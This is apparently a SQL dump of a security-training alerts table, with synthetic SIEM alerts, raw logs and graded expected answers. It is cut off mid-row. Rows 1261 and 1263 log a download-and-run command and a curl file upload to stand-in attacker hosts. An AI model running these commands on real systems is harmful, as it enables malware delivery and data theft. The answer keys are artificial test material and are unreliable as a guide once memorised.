(1261, 'Suspicious Command Execution Detected on Internal Host', 'high', 'Velociraptor', 'A potentially malicious command execution was detected on an internal host, indicating possible command injection. The command line used is commonly associated with unauthorized system access attempts.', 'Malware', 'T1059', 1, 'resolved', NULL, '{\"timestamp\":\"2026-02-14T03:45:12Z\",\"event_type\":\"process_execution\",\"src_ip\":\"10.0.0.15\",\"dst_ip\":\"\",\"username\":\"jdoe\",\"hostname\":\"internal-host-01\",\"command_line\":\"wget http://malicious-domain.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh\"}', '2026-02-14 17:39:26', '2026-02-16 05:11:38', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the affected machine\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"wget http://malicious-domain.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command recognized as malware delivery and execution attempt\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\",\"block_hash\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"malware\",\"analysis_notes\":\"The command execution is a clear indicator of a malware attempt, requiring immediate containment and analysis.\"}', 'Beginner', 'IR', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-15T12:47:56.750Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T03:45:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"internal-host-01\\\",\\\"command_line\\\":\\\"wget http://malicious-domain.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh\\\"}\"},{\"timestamp\":\"2026-02-15T12:46:56.750Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T03:45:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"internal-host-01\\\",\\\"command_line\\\":\\\"wget http://malicious-domain.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh\\\"}\"},{\"timestamp\":\"2026-02-15T12:45:56.750Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T03:45:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"internal-host-01\\\",\\\"command_line\\\":\\\"wget http://malicious-domain.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh\\\"}\"},{\"timestamp\":\"2026-02-15T12:44:56.750Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T03:45:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"internal-host-01\\\",\\\"command_line\\\":\\\"wget http://malicious-domain.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh\\\"}\"},{\"timestamp\":\"2026-02-15T12:43:56.750Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T03:45:12Z\\\",\\\"event_type\\\":\\\"process_execution\\\",\\\"src_ip\\\":\\\"10.0.0.15\\\",\\\"dst_ip\\\":\\\"\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"internal-host-01\\\",\\\"command_line\\\":\\\"wget http://malicious-domain.com/malware.sh -O /tmp/malware.sh && bash /tmp/malware.sh\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1262, 'Brute Force Attack Detected on External Facing Service', 'critical', 'FTK', 'Multiple failed login attempts detected from an external IP address, indicating a brute force attack. The source IP has been reported for similar activities.', 'Brute Force', 'T1078', 1, 'closed', NULL, '{\"timestamp\":\"2026-02-14T10:15:30Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.5\",\"username\":\"admin\",\"hostname\":\"web-server-01\",\"failed_attempts\":\"25\"}', '2026-02-14 17:39:26', '2026-02-15 12:47:56', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"Common administrative username targeted in attacks\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The high number of failed attempts and malicious history of the IP address confirm a brute force attack.\"}', 'Beginner', 'IR', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-15T12:47:56.751Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T10:15:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"web-server-01\\\",\\\"failed_attempts\\\":\\\"25\\\"}\"},{\"timestamp\":\"2026-02-15T12:46:56.751Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T10:15:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"web-server-01\\\",\\\"failed_attempts\\\":\\\"25\\\"}\"},{\"timestamp\":\"2026-02-15T12:45:56.751Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T10:15:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"web-server-01\\\",\\\"failed_attempts\\\":\\\"25\\\"}\"},{\"timestamp\":\"2026-02-15T12:44:56.751Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T10:15:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"web-server-01\\\",\\\"failed_attempts\\\":\\\"25\\\"}\"},{\"timestamp\":\"2026-02-15T12:43:56.751Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-14T10:15:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"web-server-01\\\",\\\"failed_attempts\\\":\\\"25\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1263, 'Data Exfiltration via Unauthorized Cloud Storage Access', 'critical', 'Netskope', 'An internal machine attempted to upload sensitive PII data to an unauthorized cloud storage service. The activity was detected through abnormal outbound data transfer patterns.', 'Data Exfil', 'T1567', 1, 'resolved', NULL, '{\"timestamp\":\"2026-02-23T23:45:12Z\",\"event_type\":\"data_upload\",\"src_ip\":\"192.168.1.105\",\"dst_ip\":\"203.0.113.56\",\"username\":\"jdoe\",\"hostname\":\"CORP-LAPTOP-01\",\"request_body\":\"Base64 encoded payload of the file\",\"command_line\":\"curl -X PUT --data-binary @sensitive_data.csv https://unauthorized-storage.com/upload\"}', '2026-02-24 03:10:37', '2026-02-27 06:50:27', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.105\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the user\'s machine\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.56\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 120 times for unauthorized data exfiltration\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"Base64 encoded payload of the file\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected sensitive data exfiltration attempt\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The IP and payload indicate a clear attempt to exfiltrate data to an unauthorized service.\"}', 'Intermediate', 'DLP', 5, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.701Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-23T23:45:12Z\\\",\\\"event_type\\\":\\\"data_upload\\\",\\\"src_ip\\\":\\\"192.168.1.105\\\",\\\"dst_ip\\\":\\\"203.0.113.56\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP-01\\\",\\\"request_body\\\":\\\"Base64 encoded payload of the file\\\",\\\"command_line\\\":\\\"curl -X PUT --data-binary @sensitive_data.csv https://unauthorized-storage.com/upload\\\"}\"},{\"timestamp\":\"2026-02-24T04:21:04.701Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-23T23:45:12Z\\\",\\\"event_type\\\":\\\"data_upload\\\",\\\"src_ip\\\":\\\"192.168.1.105\\\",\\\"dst_ip\\\":\\\"203.0.113.56\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP-01\\\",\\\"request_body\\\":\\\"Base64 encoded payload of the file\\\",\\\"command_line\\\":\\\"curl -X PUT --data-binary @sensitive_data.csv https://unauthorized-storage.com/upload\\\"}\"},{\"timestamp\":\"2026-02-24T04:20:04.701Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-23T23:45:12Z\\\",\\\"event_type\\\":\\\"data_upload\\\",\\\"src_ip\\\":\\\"192.168.1.105\\\",\\\"dst_ip\\\":\\\"203.0.113.56\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP-01\\\",\\\"request_body\\\":\\\"Base64 encoded payload of the file\\\",\\\"command_line\\\":\\\"curl -X PUT --data-binary @sensitive_data.csv https://unauthorized-storage.com/upload\\\"}\"},{\"timestamp\":\"2026-02-24T04:19:04.701Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-23T23:45:12Z\\\",\\\"event_type\\\":\\\"data_upload\\\",\\\"src_ip\\\":\\\"192.168.1.105\\\",\\\"dst_ip\\\":\\\"203.0.113.56\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP-01\\\",\\\"request_body\\\":\\\"Base64 encoded payload of the file\\\",\\\"command_line\\\":\\\"curl -X PUT --data-binary @sensitive_data.csv https://unauthorized-storage.com/upload\\\"}\"},{\"timestamp\":\"2026-02-24T04:18:04.701Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-23T23:45:12Z\\\",\\\"event_type\\\":\\\"data_upload\\\",\\\"src_ip\\\":\\\"192.168.1.105\\\",\\\"dst_ip\\\":\\\"203.0.113.56\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"CORP-LAPTOP-01\\\",\\\"request_body\\\":\\\"Base64 encoded payload of the file\\\",\\\"command_line\\\":\\\"curl -X PUT --data-binary @sensitive_data.csv https://unauthorized-storage.com/upload\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1264, 'Unauthorized Access Attempt on Sensitive Database Detected', 'high', 'Microsoft Purview', 'Multiple failed login attempts were detected on a sensitive database server from an internal IP. The pattern suggests a brute force attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-02-24T03:12:34Z\",\"event_type\":\"login_failure\",\"src_ip\":\"192.168.2.50\",\"dst_ip\":\"192.168.2.100\",\"username\":\"admin\",\"hostname\":\"DB-SERVER-01\",\"request_body\":null,\"command_line\":null}', '2026-02-24 03:10:37', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address potentially compromised\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.2.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Target database server IP\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The pattern of login failures indicates a brute force attempt on the database server.\"}', 'Intermediate', 'DLP', 5, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.706Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T03:12:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"192.168.2.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"DB-SERVER-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:21:04.706Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T03:12:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"192.168.2.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"DB-SERVER-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:20:04.706Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T03:12:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"192.168.2.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"DB-SERVER-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:19:04.706Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T03:12:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"192.168.2.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"DB-SERVER-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:18:04.706Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T03:12:34Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"192.168.2.50\\\",\\\"dst_ip\\\":\\\"192.168.2.100\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"DB-SERVER-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1265, 'Suspicious Email with Potential Phishing Link Detected', 'medium', 'Symantec DLP', 'An email containing a suspicious link was received by an employee. The link points to a site known for phishing activities.', 'Phishing', 'T1566', 0, 'New', NULL, '{\"timestamp\":\"2026-02-24T10:15:20Z\",\"event_type\":\"email_received\",\"src_ip\":\"198.51.100.24\",\"dst_ip\":\"192.168.1.20\",\"username\":\"susan.smith\",\"hostname\":\"CORP-EMAIL-02\",\"email_sender\":\"noreply@phishingdomain.com\",\"url\":\"http://phishing-link.com/login\",\"request_body\":null,\"command_line\":null}', '2026-02-24 03:10:37', '2026-02-24 04:22:04', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.24\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP linked to multiple phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"http://phishing-link.com/login\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"malicious\",\"details\":\"URL associated with phishing activities\"}},{\"id\":\"artifact_3\",\"type\":\"email\",\"value\":\"noreply@phishingdomain.com\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Email domain known for phishing attempts\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"block_url\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"phishing\",\"analysis_notes\":\"The email contains a link to a known phishing site, posing a threat to credential security.\"}', 'Intermediate', 'DLP', 5, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.707Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T10:15:20Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.24\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"susan.smith\\\",\\\"hostname\\\":\\\"CORP-EMAIL-02\\\",\\\"email_sender\\\":\\\"noreply@phishingdomain.com\\\",\\\"url\\\":\\\"http://phishing-link.com/login\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:21:04.707Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T10:15:20Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.24\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"susan.smith\\\",\\\"hostname\\\":\\\"CORP-EMAIL-02\\\",\\\"email_sender\\\":\\\"noreply@phishingdomain.com\\\",\\\"url\\\":\\\"http://phishing-link.com/login\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:20:04.707Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T10:15:20Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.24\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"susan.smith\\\",\\\"hostname\\\":\\\"CORP-EMAIL-02\\\",\\\"email_sender\\\":\\\"noreply@phishingdomain.com\\\",\\\"url\\\":\\\"http://phishing-link.com/login\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:19:04.707Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T10:15:20Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.24\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"susan.smith\\\",\\\"hostname\\\":\\\"CORP-EMAIL-02\\\",\\\"email_sender\\\":\\\"noreply@phishingdomain.com\\\",\\\"url\\\":\\\"http://phishing-link.com/login\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"},{\"timestamp\":\"2026-02-24T04:18:04.707Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T10:15:20Z\\\",\\\"event_type\\\":\\\"email_received\\\",\\\"src_ip\\\":\\\"198.51.100.24\\\",\\\"dst_ip\\\":\\\"192.168.1.20\\\",\\\"username\\\":\\\"susan.smith\\\",\\\"hostname\\\":\\\"CORP-EMAIL-02\\\",\\\"email_sender\\\":\\\"noreply@phishingdomain.com\\\",\\\"url\\\":\\\"http://phishing-link.com/login\\\",\\\"request_body\\\":null,\\\"command_line\\\":null}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1266, 'Internal Reconnaissance Detected via Network Scanning', 'high', 'Symantec DLP', 'Unusual network scanning activity was detected from an internal IP address, indicating potential reconnaissance efforts.', 'Lateral Movement', 'T1046', 0, 'Closed', 225, '{\"timestamp\":\"2026-02-24T08:45:30Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.45\",\"dst_ip\":\"192.168.3.1\",\"username\":\"unknown\",\"hostname\":\"CORP-SCAN-01\",\"request_body\":null,\"command_line\":\"nmap -sP 192.168.3.0/24\"}', '2026-02-24 03:10:37', '2026-03-07 11:57:45', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP conducting reconnaissance\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"nmap -sP 192.168.3.0/24\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command used for network scanning\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The use of an internal IP and network scanning tools suggests reconnaissance activity.\"}', 'Intermediate', 'DLP', 5, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-24T04:22:04.709Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T08:45:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.45\\\",\\\"dst_ip\\\":\\\"192.168.3.1\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"CORP-SCAN-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"nmap -sP 192.168.3.0/24\\\"}\"},{\"timestamp\":\"2026-02-24T04:21:04.709Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T08:45:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.45\\\",\\\"dst_ip\\\":\\\"192.168.3.1\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"CORP-SCAN-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"nmap -sP 192.168.3.0/24\\\"}\"},{\"timestamp\":\"2026-02-24T04:20:04.709Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-02-24T08:45:30Z\\\",\\\"event_type\\\":\\\"network_connection\\\",\\\"src_ip\\\":\\\"192.168.3.45\\\",\\\"dst_ip\\\":\\\"192.168.3.1\\\",\\\"username\\\":\\\"unknown\\\",\\\"hostname\\\":\\\"CORP-SCAN-01\\\",\\\"request_body\\\":null,\\\"command_line\\\":\\\"nmap -sP 192.168.3.0/24\\\"}\"},{\"timestamp\":\"2026-02-24T04:19:04.709Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 